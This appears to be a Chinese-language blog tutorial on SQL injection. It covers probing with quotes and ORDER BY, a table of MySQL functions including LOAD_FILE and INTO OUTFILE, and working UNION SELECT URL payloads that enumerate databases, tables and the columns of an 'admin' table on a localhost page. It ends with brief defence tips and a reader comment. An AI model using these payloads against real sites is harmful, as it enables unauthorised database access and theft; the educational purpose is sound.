简介
通过sql命令插入到表单提交或页面请求查询字符串,达到欺骗服务器的sql命令。可能存在的注入点:GET,POST传值,cookie,等。sql注入有整型注入、字符串注入,盲注可以时间注入,报错注入等
利用
创建数据库,当你使用以下代码时,含有整型注入。
使用id=1时正常,在id后面加上'
时报错,再打个分号还是报错,这是个整型注入,直接加上恶意字符串。s使用order by
来测试有多少字段,可以看到输入1,2是正常的,但是输入3报错了,说明表内含有2个字符串。
接着再使用union select
联合查询数据库连接的用户名,可以看到查询成功。
mysql常用注入命令
命令 | 作用 |
---|---|
version() | 查看mysql版本 |
user() | 查看数据库用户名 |
database() | 数据库名 |
@@datadir | 数据库路径 |
@@version_compile_os | 操作系统版本 |
group_concat() | 将多个字符串连成一个字符(适合允许查询一个使用) |
LOAD_FILE() | 读取本地文件 |
select * into outfile '路径' | 往路径写入*内容 |
hex() | hex编码 |
联合查询获取所有数据库名
http://localhost/a.php?id=1 union select "",schema_name from information_schema.schemata--+
查询获取数据库表名
http://localhost/a.php?id=1 union select "",table_name from information_schema.tables where table_schema =database()--+
查询获取数据库列
http://localhost/a.php?id=1 union select "",column_name from information_schema.columns where table_name ='admin'--+
最后查询表数据....
sql注入防御
过滤恶意字符串php使用addslashes()函数加斜杆等,整型过滤字符串。或使用预处理,再使用waf等防御。
本文作者:风雪,转载时请注明本文出处:https://www.fxnetw.com/52.html
Liues
2019-10-05 Windows10 / Chrome 回复
6666。学到了